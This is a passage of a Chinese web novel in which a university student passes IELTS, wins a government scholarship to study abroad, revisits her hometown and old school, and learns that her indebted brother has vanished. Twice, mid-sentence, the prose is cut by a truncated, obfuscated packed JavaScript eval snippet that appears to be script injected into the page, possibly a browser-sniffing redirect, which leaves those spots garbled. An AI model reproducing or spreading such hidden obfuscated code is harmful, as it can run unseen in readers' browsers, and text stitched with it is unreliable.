四个月时间,六点五分,怎么可能呀? 林羽翼已经试着写了几套真题卷,别说正儿八经考试时会限时了,就算不限时,她最多也只能考个五六分! 这会儿,再想起高中时张潇扬那垂头丧气要死要活的模样,林羽翼再笑不出来了。 她可算是体会到张潇扬的苦了。 “张潇扬啊张潇扬……”林羽翼趴在图书馆的桌子上,有气无力地转着笔,用气音喃喃自语道,“你当初是怎么考过的呢?” 要不……去问问张潇扬? 林羽翼转笔的动作顿了顿,圆珠笔从手里滑落,掉在桌子上,敲出很轻的“咔哒”一声,同时,她一下子从桌上拔起,眼睛倏地恢复神采。 是啊,她怎么就没想到!既然她不知道怎么学,就去找学过的人取取经呗! 张潇扬雅思可是考了7分呢!张潇扬那么不爱学习,那么厌恶英语的人,都能考高分,她还不行吗? 林羽翼连桌子上一叠一叠乱糟糟的试卷都没有收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林羽翼等了五分钟,她原本打算,十分钟没等到张潇扬加好友的消息,她就离开机房继续去学习,晚上再打电话,还好,Q丨Q的好友提示音适时地响起。 [喂,我是张潇扬。] 看到好友审核界面,这么熟悉的文字风格,林羽翼脸上不由得漾出怀念的笑,好像忽然回到了高中,又一次见到了当初那个张扬恣意的女孩。 林羽翼点击通过。 她编辑着文字:[好久不见,张潇扬,你过得怎么样?我最近……] 她还没写完呢,张潇扬那边便发来一大串[哈哈哈哈哈哈哈]。看得她眼皮直跳,一愣一愣。 张潇扬:[哈哈哈哈哈哈哈!林小鸟!你也有这一天啊!] 张潇扬:[当初你还嘲笑我学习不认真呢!现在你知道雅思有多难,有多痛苦了吧!] 张潇扬:[这就是你当初嘲笑我的报应!现世报!] 林羽翼眼中映着笑,她看着屏幕上的字,笑意越来越盛,她把自己打的那些字删了,重新打字:[咦?我当时嘲笑过你吗?我怎么不记得了?你可不要空口乱说,小心我告你污蔑。] 她已经有三年没和张潇扬联系了。 这一次联系,两个人隔着网络,隔着屏幕,隔着千里万里的距离,却又好像……回到了几年前的高中时代,回到了那个闷热的暑假,回到了瘫在水吧里吹空调的一个又一个无所事事的下午。 原来,就连匆匆而过卷走一切的时光,也有改变不了的东西,比如…… 一段真挚的友谊。 稍稍打趣几句,话题立刻回归正轨,张潇扬的语气一本正经: [雅思刚开始是挺难,但林小鸟你别怕,你只是刚接触,不熟悉而已,熟悉了它的题型后你会发现,它也是有规律的。你要做的,就是找到这些规律。我给你推荐一个网站,那里有一位刘老师的公开阅读课,讲得特别好,你跟一跟他的课,很快能找到阅读题规律。] [背单词不要瞎背,只背重点词就行,那些稀奇古怪的单词那么多,谁能都背下呢?听力学习也是有规律的,分为粗听和精听两个阶段,你备考时间似乎不太够,那就先练好粗听,保证听力能拿7分,有多余的时间再去精听,突破更高分。] 张潇扬发来听力练习的网址。 [口语是硬伤,没人辅导的话有点儿困难啊……这样,你先跟着题库练一练,背一背标准回答,自己学会融会贯通啊。] 和张潇扬交流结束后,林羽翼对着电脑发了很长时间呆,最让她觉得感慨的,不是张潇扬发来的那些资料,而是一个又一个学习的网址。 她第一次意识到,网络,不仅仅可以用来搜集资料,不仅仅可以用来交流,不仅仅可以码字赚钱,还可以学习。 是的,学习。 电脑是一个绝佳的学习工具,只需要连上网,它就可以带你去想去的任何地方,和任何人进行交流,获取任何资料。除了拓宽你的视野,更重要的是,你可以用它学习,学习你想要学的一切,知识、技能,都可以。 隐隐约约间,林羽翼又一次感觉,自己触摸到了一个崭新的、广阔无垠的的新世界的幕布。 只要往前一步,她就能推开幕布,走进那个新世界。 43.第28章(下) 接下来几个月里,林羽翼的“阵地”再一次从图书馆转移到机房,她完完全全沉浸在电脑带来的新世界里,跟着视频里的老师上课,练习阅读题;跟着听力网址,一个单词一个单词地细细拆解学习;对着口语习题文档,自言自语地背下了一个又一个句式。 十一月、十二月、一月、二月。 元旦、新春。 开年。 三月十一日,林羽翼从雅城回到蜀都城里,参加雅思考试。 三月二十一日,她在网站上查询到了自己的成绩。阅读8分,听力7分,作文和口语5.5分,总分6.5。 她考过了。 她考过了! 看到成绩的那一刻,林羽翼心里非常平静,甚至没有一丝狂喜,她非常清晰地知道,这是自己应得的。 这是她四个月昼夜不息的努力带来的,最好的礼物。 林羽翼点开右下角的Q丨Q,第一时间给师涟发了消息:[考过了。] 师涟很快回复:[恭喜。] 林羽翼:[谢谢你,师涟。] 师涟只回了她两个字,但她感觉得到,此时此刻,师涟和她的心情是一样的,没有意外狂喜,只有理所当然,再平静不过的理所当然,所以,“恭喜”两个字足以。 她很感谢师涟,感谢她从一开始,就无比坚定地相信着她。 师涟的相信,给了她闭着眼往前冲的勇气。 接下来几天时间里,林羽翼有条不紊地准备着出国的各项资料,辅导员已经和她沟通过了,报名参加此次公派留学的学生里,只有她一人考到了雅思6.5分。 也就是说,她出国的事儿,彻底稳了。 上天砸到面前的馅饼,她接住了。 林羽翼只要把资料准备齐全,交给学校,最后等待院里的公示,便可以办签证出国。 为了让她提前适应,辅导员将交换这一年的课表打印出来,交给了她,同时,还给了她对面学校的联系方式。 出国嘛,是大事儿,各方各面都得好好准备。林羽翼把资料准备齐全后,紧接着,便开始准备一些生活用品。 在国外生活一年,最重要的是什么?吃穿住行?这些其实都不是大问题,最重要的是联络,怎么和学校联络?怎么和国内的老师联络?一个人在异国他乡,遇到不方便的事情怎么办? 林羽翼必须得有一台能够和人联络的工具,手机,或是电脑,公派奖学金里本就囊括了这一类必需品,她考虑到的事情,政府早已考虑周到,她没必要刻意节约。 目前,电脑的价格对林羽翼而言还是太贵,她决定先去看看手机,等到签证办好,第一笔奖学金审核到账,再去选购电脑。 林羽翼选的第一款手机是国产牌子,金立,只要一千元出头,比诺基亚、三星便宜太多。 林羽翼一点儿也不觉得它比那些大牌手机差,价格便宜,外观小巧可爱,是银色的呢,可以登Q丨Q,还可以拍照、播放视频,可以双卡双待,还是最新款的触摸屏呢!有什么缺点?她反倒是想破脑袋也想不明白,那些一两万元的大牌“商务手机”,究竟怎么能卖那么贵,能有什么特别的地方? “师涟,你看,以后我也是有手机的人了,你可以随时联系我啦。”林羽翼美滋滋地和师涟牵手走出手机店,她把手机举到面前,眉眼弯弯,欣赏着黑色屏幕里自己和师涟挨在一起的两张脸。 林羽翼打开手机屏幕,摁出拍照界面,再把手机翻转,师涟配合地和她靠近一些,脑袋紧挨着脑袋。 “咔嚓”一声。 林羽翼把手机拿近一些,翻转屏幕,上面是她和师涟的合照。她的笑意灿烂,师涟笑容温柔恬淡如初。 “好诶!我亲手拍的第一张合照!”林羽翼以前用师涟的相机拍过,可这是她自己的手机,她第一次用自己的手机,给她和师涟拍下第一张照片,怎么看,都非常值得纪念。 “师涟,我把这张照片发给你!你要把它保存好哦。” “我会的。”师涟埋头保存照片。 林羽翼往前蹦了两步,兴奋地晃晃脑袋:“唔,算了算了,就算你不保存也无所谓,以后我一定也能有自己的相机,能够给我们拍更多的、无数张合照,这一张也就无所谓啦。” 师涟没有回话,依旧埋着脑袋,林羽翼正想调侃着说“喂,你是不是不相信我”这样的话,还没开口,她凑到师涟面前,看见师涟手机屏幕上的画面。 师涟把这张照片设置成了屏幕背景。 林羽翼眨巴着眼,刚从喉咙里吼出的那声“喂”一下子变得弱唧唧,就像是一只争准备昂首清啼的幼鹰,雄赳赳气昂昂起了调子,一出声却发现自己只是个小鹌鹑,倏地什么声音都没有了。 林羽翼安静地靠着师涟,抱紧她的手臂,沉默片刻后,她主动说:“师涟,我今天不回学校,我们……我想去你学校逛逛。” 大学过后,师涟不止一次去过林羽翼学校,但这是林羽翼第一次前去师涟学习、生活的地方。 她和师涟一起走过古朴气派的校门,穿过碧树成荫的梧桐大道,抬手捕捉树叶缝隙中那一抹春光;走过春日迸发着无穷生机的银杏树林,看远处一栋栋古色古香的长廊建筑;掠过池塘的栈道廊桥,顺手拿馒头喂了喂湖中锦鲤。 她去看了师涟上课的地方,社团活动的地方,休憩睡觉的地方,去了川大的图书馆,去了食堂,去了操场,一次性把师涟三年来走过的所有地方都逛了个遍。 林羽翼拿手机拍了数不清的照片,有单纯的景色照,也有她和师涟的照片——大多是合照。 她以前总觉得心里别扭,总是逃避着,内心深处抗拒着,不愿意来师涟的学校看一眼,她怕她来了,就会被无尽的自卑与恐惧淹没。 她不是嫉妒师涟,她从未嫉妒过师涟,她只是……因为自己高中时的不懂事、不努力而悔恨,她恨的是曾经的自己,看不起的是曾经的自己。 她不想成为师涟的影子,不是因为她嫉妒师涟的优秀。 而是因为…… 她觉得自己不配。 现在,她总算能与自己和解一些了。 …… 晚上,林羽翼逛完川大校园,坐摩的回到了她在新村乡下的小院里。 又是许久没回来,院子里脏得一塌糊涂,落叶和灰尘积了一层又一层。当年被喷得到处都是的暗红油漆还没有彻底被打扫干净,隐约能瞧见痕迹。林羽翼踩着松软潮湿的落叶,推开房门,立刻被屋里的空气刺得一阵咳。 林羽翼已经不太记得,自己前几次回家时是什么心情了,因为灰尘漫天的旧房间而烦闷?苦恼?亦或是因为想起离家的哥哥而愤怒?不管以前是怎样的心情,今天,她的情绪异常平稳,甚至,心底久违地泛起阵阵柔软的波浪。 她好像已经看到了未来的曙光。 在大学里拼死拼活地努力三年,她终于看到了曙光。 林羽翼拿起扫帚,平静地将屋子一点一点打扫干净,等到一丝灰尘都看不见,已经很晚了,她坐在院子的台阶上,仰头看着天空里那一轮银月,心绪柔柔软软,却没有一丝睡意。 夜空里那轮明月与院子外的竹林相称,黑漆漆的竹叶影子像是攀上了月球表面,风一吹,它们便张牙舞爪地想要遮盖整个月亮。 李白说,举头望明月,低头思故乡。林羽翼这时明明身在故乡,却依旧觉得想家了。 不是想家,是想家里人。 她拿出新买的手机,埋头盯着屏幕发了会儿呆,等她反应过来,手指已经熟稔地摁下一串电话号码,拨了过去。 是王心宜的号码。 电话里响起“嘟”的一声。 片刻后,林羽翼回过神来,立刻挂断电话。都凌晨一点了,谁大半夜不睡觉啊?她笑着摇摇头,编辑一条短信,点击发送: [心宜姐,我是林羽翼,我买手机了。这是我的手机号,你可以存一存。明天有空时给我回个电话,好吗?我有事儿和你说。] 看见手机屏幕上显示“发送成功”的字样,林羽翼双手握着手机,手臂耷拉在膝盖上,她继续抬头看着月亮发呆。 手里的手机竟然嗡嗡嗡震动起来,林羽翼一惊,差点把手机扔到地上,她埋头看一眼,是王心宜打来的。 “……心宜姐?”林羽翼立马接通电话,语气弱弱的,“这么晚了,你还没睡呢?” 电话那头,王心宜温柔地笑了笑,笑声酥哑。她反问林羽翼:“我还正想问你呢,这么晚不睡觉,还想着给我打电话,怎么了小妹妹?” 王心宜的声音沙沙的,喉咙里带着一颗一颗滚动的气音,似乎是刚剧烈运动完,有点脱力似的,但异常温柔。 隐隐约约的,林羽翼似乎能听到听筒那头,属于男人的沉重呼吸声。 “我……” 林羽翼原本有些慌乱,她自己也说不清为什么慌,是因为深夜的思乡来电竟然被接通了吗?她不知道。但王心宜温柔成稳的声音,成功安抚了她的那一丝慌乱,她一下平静下来。 林羽翼开了免提,把手机放在台阶上,自己抱着膝盖坐着,仰头看着夜空中越来越亮的那轮月亮,把备考这几个月里,憋在心里的话一股脑说了出来。 之前,林羽翼虽然自信自己能考过雅思,但成绩出来前她心里始终没底儿,便一直憋着没把出国的事儿告诉王心宜,这会儿尘埃落定,她终于一口气说了出来。 “心宜姐,我前段时间考了雅思,成绩出来了,我考过了。不出意外的话,下个月我就能出国,公派出国留学。” “啊!”王心宜惊喜地啊了一声,语调倏地升高,“出国?需要自己出钱吗?去哪儿呀!不管怎么说,都是好事儿,大好事儿啊!” “去欧洲。”林羽翼脸上漾着柔柔的笑,她轻声解释道,“不需要我出钱,公派的意思就是国家出钱,我只需要出人就好了。” “欧洲!”王心宜惊叹一声,语调渐渐拉得老长,“真好啊,是我这辈子都去不了的地方……小鸟,你去那边读书,一定要多拍点儿照片啊!回来给我,还有给你哥看看。” 电话那头,林羽翼听到一阵窸窣声,似乎是被窝翻动摩擦的声音,随即是脚步声,越来越远,直至听不到。 林羽翼眸光蓦的黯了黯。 她低沉着声音说:“会的,我会拍照片。” 王心宜不知在想些什么,她沉默片刻,忽的音调拔高一些:“诶,小鸟,你这出国留学,是出去多久啊?几、几年吗?我、我听说我以前有一远房亲戚的儿子留美区,一去就不肯回来了,呵、呵哈哈。” 说到后面,她的语气明显有些干。 “哪儿那么久?就去一年。”林羽翼浅浅笑着解释,“在那边学校完成毕业实验,写完论文,然后就回国,准备毕业,读研。” 王心宜听不懂毕业论文这一类的词,她只是由衷地为林羽翼开心:“读研?小鸟你要当研究生呢?真是出息!” “嗯。”林羽翼埋头看着搁在泥地上一抬一晃的脚尖,轻声道,“说不定以后还会读博,当博士。” “博士!了不得了不得,我们小鸟真是有大出息!”王心宜起身,拍着床一阵大笑,笑得嗓子都哑了,木板床被她拍得嘎吱嘎吱响。林羽翼听得出来,她是真心为她开心。 林羽翼也很开心。 只是不知道,电话的那一头,一直没吭一声,甚至走远了不肯再听她声音的那个人,是否也在为她开心。 挂断电话,林羽翼又发了会儿呆,才慢悠悠地回堂屋睡觉。 她以为自己会做梦,以为自己会梦到哥哥,梦到出国生活的片段,梦到今天和师涟一起去买手机时的场景,但她什么都没有梦到。 这一觉睡得很沉,林羽翼眼睛一闭一睁,迷迷糊糊地看一眼手机,竟然已经上午十点。 她的大脑还很困倦,身体却本能地翻起,离开木板床,走向院里的洗漱台。连续三年没有赖床的规律生活,让她养成了睁眼后第一时间就去洗漱的好习惯。 林羽翼一把冷水洗干净脸,下意识往院子外走,想要去图书馆,推开院门,清风哗哗哗卷起竹叶往她脸上扑来,她忽的清醒过来,意识到自己没在学校。 她茫然地在院门口站了会儿,闲适地吹着风,到村里逛一圈,厚脸皮地去亲戚家蹭了份早饭,再回到自家,时间还不到十点半。脱离了忙碌的学校生活,她一时有些不习惯。 要不,去车站,回学校?她不太想立刻回去。 大三下学期,她的专业课程只剩下实验课,如果她要出国,这些实验课都不用上了。距离学校公示出国名单的时间还有一两周,这段时间,是她难得的闲暇时光。 她想要在蜀都多呆一段时间再回学校。 只是,一个人在村子里实在没意思,还不到一上午,林羽翼就逛遍了整个村落,走过后山的小山坡——在她的记忆里,后山有着一片郁郁葱葱的树林,可现在整座山都快被“打沙”的队伍给推平,只剩下一小片荒地,一小丛树林,一眼就能望到尽头的鱼塘。 村里没什么可逛的,林羽翼干脆坐上公交车,去广都看看。投币上车,坐到公车最后一排,推窗吹了会儿风,林羽翼才忽然意识到,从村里到广都的公交车,竟然没有了售票员,只需要投币就能上车,变得和蜀都城里一模一样。 车型似乎也升级了,变得更宽敞明亮,车上闻不到一丝闷闷的气味。 唯一没变的,是开往广都城的路上,那一路一望无际的碧绿田野,这个时间段,油菜花已经谢了一部分,零零散散的黄花隐没在绿叶间,风一吹,便卷来一股清爽的气息。 公交车缓缓行驶着,眼看一点点接近广都城,林羽翼探头往远处看,和她上次回城相比,广都城又是翻天覆地般的大变样。 隔着很远的距离,林羽翼便看见广都城郊竟然修起了电梯房,以前那一片荒芜的田地,被钢精混凝土垒起的巨物取代,她抬头数着,这一排排高楼,最高的已经修了十二三层,不知道封顶后会有多少层。 会有二三十层楼高吗?那都和蜀都城里的高楼差不多了。 公交车还没开进广都城区呢,水泥路面已经被漂亮崭新的泊油路代替,道路很宽,明明四周都是工地,林羽翼却感觉这辆车正疾驰在旷野。 公交车驶过大桥,缓缓驶进城里。广都老街上倒是没什么大变化,依旧人来人往,车流不息,吵吵嚷嚷,自行车铃声、汽车喇叭声、摊贩广告声、腰鼓队敲锣打鼓的吆喝声、人潮熙攘声,什么声音都听得见,一声声的交织在一起,仿佛在一张无形的画卷上,勾勒出一副繁闹百景图。 林羽翼在河边的站点下了车,她沿着河,漫无目的地逛了会儿。 春日的河岸公园被打理得很好,沿路开满了五颜六色的花儿,嫩绿的柳叶自由随风飘舞,向无限远的河流尽头延展。河边公园很美,鸟语花香,可是…… 河水依旧是脏兮兮的,花香都掩不住河里的腥味,汹涌浪花里时不时卷来成堆的垃圾,以及,鸡鸭鹅、甚至白花花的死猪尸体。 林羽翼已经有些记不清,以前干净澄澈的府河是什么样了。她同样无法想象,以后的府河又会是什么样,它会有重回清澈的那一天吗? 大概…… 不会了吧。 这时的林羽翼,是这样想的。 …… 沿河漫无目的地走了会儿,过了马路,林羽翼忽然停下脚步,她仰头看着面前的建筑,目光柔软,忽的轻笑出了声。 她竟然走到广都中学校门口了。 学校大门旁边新修的实验楼有五六层高,洁白发亮的瓷砖上刻着“广都中学”四个闪着金光的大字,异常气派。现在应该是上课时间,校园里很安静,至少林羽翼往学校里看,一个人影儿也看不着。 她在校门口驻足看了会儿,正要转身离开,却听见一声略带惊讶的呼喊: “林……林羽翼?” 林羽翼错愕循着呼声转头,杨老师笑眯眯地站在路口边,朝她招招手。他穿着身深蓝色的长袖衬衫,扎在裤腰带里,手里端着个大得过分的保温杯,头发梳成油亮的大背头,胡子剃了,但胡茬明显比以前浓密许多,和三年前相比,现在的杨老师,明显更像个成熟的中年男人了。 “杨老师!”林羽翼微怔片刻,随即脸上漾出一个灿烂的笑,“好久不见。” “好久不见好久不见。”杨老师端着保温杯,快步走到林羽翼面前,笑得睫毛完完全全遮住了眼睛,“怎么?是突然想着来母校看看?还是来拜访我这个班主任的?” 面对杨老师热切的笑容,林羽翼自然说不出“我只是路过”这样的话,她眉眼弯弯,笑容丝毫不减,语气也变得甜: “我当然是来看望您的,杨老师,您现在还是班主任吗?” “哟,长大了呀,比以前懂礼貌多了。”杨老师调侃一句,一边领着林羽翼进学校,一边回答她的问题,“我还在当班主任,嗐,现在的孩子,真是一届比一届难带!都快要高三了,他们一个个还不知道收心!” 杨老师滔滔不绝地说起班上的学生们,林羽翼注意到,他的语气虽然恨铁不成钢似的,可神色里,却有一丝掩不住的骄傲。 “毕竟是杨老师您带出来的学生,再差能差到哪儿去呢?”林羽翼笑呵呵地说。 她跟着杨老师在学校里逛了一圈,和她读书时比较,学校里变化同样很大,新修的实验楼、大食堂、初中部教学楼,操场上还额外隔出一片曲棍球场。 “你啊!还是那么嘴甜!啧啧啧,林小鸟啊林小鸟,当初要不是你嘴甜会哄人,就你那浮躁劲儿,早把我们这些老师给气死了!”杨老师感叹地摇摇头。 林羽翼不由得无辜笑:“哪儿有那么夸张?杨老师,您说得过分了呀。” “过不过分你自己知道。”杨老师拧开保温壶,埋头抿一口水,舒缓地长叹一口气,“说说吧,林小鸟,你的大学生活怎么样?最近过得还好吗?” “我……”林羽翼舔舔唇,回想起三年前出成绩那会儿,杨老师一点儿也不意外她会考砸这事儿,这时她心里终于有种“大仇得报”般的畅快感,仰头肆意笑着说,“杨老师,我刚考过雅思,可能要出国了,正在等学校公示。” 林羽翼笑得明媚,语气却刻意压得风轻云淡,仿佛这只是一件再平常不过的小事儿。 杨老师听着,眉头一挑:“出国……是公派出国?” “嗯,公派。”林羽翼双手环抱,步子迈得比之前大了些,笑容更盛,“自费出国可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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等笑声过去,林羽翼摆手:“是的,我就是那个没好好学习,最后考上隔壁农大的人。” “高中的我,不喜欢学习,也不懂为什么学习。” “我在大学后才突然醒悟,意识到学习的重要性——学习有什么用呢?为什么学习?用你们从小听到大的一句话来说,只有好好学习,考上好大学,才能找到好工作。这句话没错,可它太空了,在座所有人,包括我,都觉得它是一句让人腻歪的空话。” “那么用我大学时突然悟到的话来说,学习是为了什么呢?是为了……”她顿了顿,呼吸间回想起自己在海城的所见所闻,回想起外滩对面的繁华,“学习是为了,让你飞向一个更广阔的世界,让你站得更高,看得更远,走得更长。” “好吧,我承认,这样说似乎也很空泛。那么接下来,我都说说我自己的大学生活吧。” “我开始没日没夜地努力学习,看书刷题做实验,争考专业前几名。” “我们学校里有句出名的玩笑话——‘你见过凌晨四点的实验楼吗?’,不巧,我见过。” “这几年里,我绩点始终保持在专业前列,我拿到了英语四六级证书,去过桂城三下乡实习,参加过校园针灸大赛——还拿了银奖呢,做过独立实验发表过文章,还算是收获满满吧,至少奖学金拿得手软。” “在今年,我备考考过了雅思,取得了公派出国的资格。” 想起学雅思那段时间,林羽翼笑得愈发感慨: “你们知道我备考雅思的这段时间,过得有多折磨吗?我整个人就差睡在机房里了。每天一睁眼就是背不完的单词,刷不完的题,听不完的听力,看不完的作文,一天一天,昼夜无休看着这些东西,看得我脑花儿都搅一块儿去了……痛啊,太痛苦了啊。” “时间那么紧,我一秒都不敢浪费,我害怕但凡浪费了一秒,这个从天而降的机会就会被我浪费啊。” “这段时间,每次学到快崩溃的时候,我就会忍不住地想,如果我高中能好好学习,考上一个更好的学校,那么无论是出国还是保研的机会,亦或是学习的环境,是不是都好上许多?我后悔啊,可后悔又有什么用呢?我只能硬着头皮继续苦学。” 林羽翼说着,手指不自觉握紧,脸上笑容收敛,变得严肃,她用力环视着教室里一圈小孩。 “我后悔已经没有用了,但你们不同,你们正在高三最关键的时期,你们,还有拼搏的机会。就现在,收起浮躁的心态,努力拼搏一把,未来就在你们手中。” 林羽翼看见,台下有人脊背挺得笔直,眼底闪着熠熠光点,他们听懂了。但有人依旧满不在乎,困倦地埋头打着哈欠笑,真是和她高中时一个样,她无奈笑着晃晃脑袋,收尾道: “好吧好吧,虽然我知道,这话说了你们也不爱听,但……总之,抓紧高中的时间,好好学习,比什么都重要。” 林羽翼说完,在雷动的掌声中,松弛着全身肌肉潇洒走出教室。杨老师跟在她身后,靠到走廊的栏杆上,摘下眼镜用力拍了拍掌,他的眼眶竟有些湿润。 他细细看着林羽翼,无比感叹地呼口气: “林羽翼啊林羽翼,你可算是开窍了,可算是出息了。你知道不?你读高中那会儿,我可是一直盼着你能收下那股浮躁劲儿,我等啊等,等了三年都没等到,我差点儿以为我这辈子等不到咯!嗐,看着你能变成现在这样,我这个当老师的,心里是真舒坦啊!” “当初我也没有想到,我能变现在这样。”林羽翼语气感慨。 杨老师摇头晃脑,粗糙的手掌连连在林羽翼肩膀上拍几下:“连你都开窍啦,这下,就差师涟咯!看她什么时候,肯拼命努力一把咯。” “杨老师,您这话说得,师涟她还不够努力吗?”林羽翼下意识替师涟反驳。 林羽翼很清楚师涟的大学生活是什么样的,就算在在川城大学这样的顶尖大学里,师涟绝对算是五好学生——起得早睡得晚,绩点高分、奖项证书拿到手软,还积极参加学生活动,不管在谁眼里,她都是最顶尖的那批学生之一。 杨老师摇摇头,不明所以地哼笑:“师涟她有没有拼命努力,你这个好朋友比谁都清楚吧?” 林羽翼张张嘴,发现自己说不出辩解的话来。 是的,林羽翼比谁都清楚,师涟她很努力,也很优秀,是许多人可望而不可即的优秀。但说是拼命努力?那还差得远呢。 从本质上说,师涟她其实只是自律。 她心里有个非常明确的目标,一直以来,她只是按部就班地向着那个目标努力。而那种努力,绝非拼尽一切的努力。因为,从最初她给自己设定目标时,便不会设定一个需要拼命才能完成的目标。 就像高中,她的目标是考川大,而不是考清北那样。 师涟一直很自律,一直很努力,却也一直,努力得很轻松。 看着杨老师那副恨铁不成钢的表情,林羽翼闷声道:“杨老师,其实我觉得……师涟现在这样就很好了。作为朋友,我、我其实不太想看见她也有像我一样走投无路、只能像只无头苍蝇一样,只能拼命努力往前奔的那一天。” 师涟能够一直像现在这样,轻轻松松昂首阔步向前,不需要费力便能站在让无数人仰望的位置,这就够了。 林羽翼不想看到她累,也不想看到她苦。 现在这样就够了。 …… 离开广都中学,林羽翼在街上逛着买了些礼物,衣服鞋帽,还有牛奶水果,前去孙阿姨的店里拜访,帮孙阿姨卖卖货。孙阿姨店里不缺人,林羽翼就是想陪陪她,师涟和师叔叔常年不在家,免得她一个人无聊。 以前林羽翼总怕面对孙阿姨,怕自己还不上她的好,现在她终于想通了,她知道,孙阿姨对她好,不是图她什么,是真心把她当做后辈怜惜。这几年逢年过节,就算她在学校,孙阿姨都不会忘了给她寄东西,还有平时的生活用品,孙阿姨给师涟准备的,准会多给她准备一份。 而她呢?与其因为自己的自卑而别扭,不如拿空余时间多陪陪孙阿姨,切实地去报答孙阿姨。 不过,林羽翼暂时没告诉孙阿姨她要出国的事儿,她让师涟也瞒着,她怕孙阿姨硬是要花钱给她办席。林羽翼打算自己出发那天,再和孙阿姨说。 这回,她只说学校没课,回来帮孙阿姨看看店,把孙阿姨乐得喜笑颜开。 孙阿姨很开心,林羽翼同样很开心。 林羽翼甚至会觉得,自家那个冷冰冰的堂屋,一点儿家的感觉都没有,反而是孙阿姨和师涟这儿,才能给她属于家的温暖。 白天,林羽翼帮着孙阿姨看店,傍晚,陪着孙阿姨一块儿去逛街,晚上,一起在客厅里看着电视闲聊,一直到深夜,林羽翼回到师涟的房间里,抱着巨大的鲨鱼玩偶,在无比充实快乐的情绪中入睡。 这几天,她的梦都是香甜的。 林羽翼梦到自己出了国,从国外回来,回到已经高楼林立的广都城里,兴冲冲地和师涟一块儿去看新楼盘,有了属于自己的小家…… “嗡嗡嗡、嗡嗡嗡……” 手机急切的震动声响起,如一颗炸进水里嗡嗡乱转的炸弹般,一下把林羽翼的美梦炸成碎片。林羽翼猛地从床上坐起,莫名的,她感觉到自己心跳漏了一拍,随即变得恐慌而急躁,跳得很快。 嗡、嗡、嗡。 手机还响个不停。 林羽翼怔怔看向发亮的手机屏幕,看了好几秒,她才接起电话:“喂……?心宜姐?” “林羽翼!”电话那头,王心宜的声音着急得破了调,几乎是从嗓子里嘶吼而出,“你哥、你哥他不见了!” 44.第29章 “什、什么……?” 林羽翼手指骤然捏紧,隔了好几秒,大脑才从梦境中彻底抽离,意识到王心宜都说了些什么。她哥,她哥不见了?! 王登高不见了? 林羽翼听得懂王心宜说的每一个字,可当这些字组合在一起,她又不明白究竟是个什么意思。她哥那么大一个人,怎么会说不见就不见?他能、能去哪儿? 他、他……! 强烈的电流感从脊椎蹿到头顶,林羽翼脊背倏地被冷汗打湿,全身抖得厉害。 “你、你哥他、他在沪城又借了钱!前两天有、有人找上来!就在你说要出国的前一天……林、林羽翼,你……”王心宜声音抖得厉害,到最后几乎发不出声。 电话另一头,王心宜用力掐着自己手臂,强迫自己保持着理智,继续说:“我、我现在去银行,把你这些年转给我的钱转回给你!你、你立刻去买机票,来沪城!立刻!要快啊——!具体的情况等我冷静一些,在路上告诉你!” “不用,不用转钱!我这里有钱!”林羽翼条件反射般翻身起床,嘭一声把房门撞开,茫然地往外跑几步,又立马折返回房间,踉跄摔在电脑面前,颤抖着摁向开机键。 林羽翼的手指颤得太厉害,摁了好几次,才把按键点亮。 她跪坐在电脑面前,用力呼气,看见屏幕亮起,她立刻坐起身,操控着鼠标点开浏览器,搜索起航空公司的信息。 查找机票,输入身份信息,购买,不到五分钟时间。 这一刻林羽翼无比庆幸自己早早开通了网银,摸索着学会了电子支付,不然,不知道得耽误多少时间。 看到屏幕上电子票根审核通过的字样,林羽翼立马转身跑出房间,这一次她没有再弄出声音,走得小心翼翼,悄无声息,没有吵醒熟睡的孙阿姨。 凌晨的广都主街上空空荡荡,一个人影儿也没有,只有路灯惨淡地亮着。 林羽翼迟疑片刻,立刻往医院的方向狂奔,果不其然,这个时间点,只有医院对面还停着几辆出租车。 “师傅,去机场!”林羽翼用力拉开车门,整个人撞进车里坐下,喘气声大得吓人。 “行。”司机一脚油门启动,他从车内后视镜里看见林羽翼满眼通红的模样,有点被吓到,“妹儿你咋了?你赶时间啊?没事儿没事儿,半夜路上没车,二十分钟就能到!我车里有纸,就在靠背夹层那儿,你擦擦脸吧。” “谢谢叔。”林羽翼抽出一张纸巾,用力擦把脸。她摇开车窗,冷风噼啪砸到脸上,她才稍稍冷静些。 林羽翼拿出手机,先是给孙阿姨发了一条短信,说学校老师半夜联系她回去改实验数据,让孙阿姨不要担心,紧接着,她才重重呼气,拨通王心宜的电话。 几声缓慢无比的“嘟、嘟”后,电话接通。 林羽翼听见听筒里,王心宜的呼吸声依旧急促、慌乱。 她闭上眼,开口时,语气比自己想象得平静许多倍: “心宜姐,我买到了机票,人在去机场的路上。你现在能告诉我发生什么了吗?我哥他、他出事了吗?” 林羽翼的语气无比平静,紧紧闭着的眼角处,却无声滑落一滴泪。 不见了?究竟是什么意思? 她甚至已经往最坏的方向猜测。 “让我想想从哪儿说起。”电话另一边,急促的呼吸声稍缓,王心宜似乎被她毫无情绪起伏的语调感染,声音一点点变得清晰: “从开头说起吧——” “林羽翼,你一直知道,你哥是来沪城躲债的,但他这人啊,就是个废物,这么些年,工作不去工作,哈,别说工作了,出门都懒得出去一次。他不但没还上一分钱,反倒又在沪城借了不少钱。具体多少我不知道,但想来,应该不会比川城那边多。” “你这些年打来的钱我没给他,给了他也是白给,他现在这样,第二天就能拿去喝酒喝光。我一直把钱存着在,一分没动。等你来了沪城,我把卡给你。” 林羽翼的嘴动了动,没有出声。 王心宜长叹一口气,叹得很长很长,似乎把肺里的空气全部吐出来,她缓缓接着说: “前几天,讨债的人找上门来了,差点和你哥打一架,最后那些人走了,你哥也没还钱。其实你哥手里有那么一点点积蓄,我知道,他只是不想还钱,他觉得还了也还不完,不如把钱拿来喝酒。” “这几年,他都是这么浑浑噩噩地过着的,喝酒睡觉,没个人样,哈,虽然我也和他一个样,没资格去指责他什么。” “要债的找上来也不是头一回了,我呢,原本也没当回事儿,可是第二天晚上起——从你给我打电话说要出国起,他忽然就变得不对劲儿了。林羽翼,我不知道该怎样和你描述,我、我只能说,我感觉他、他……” 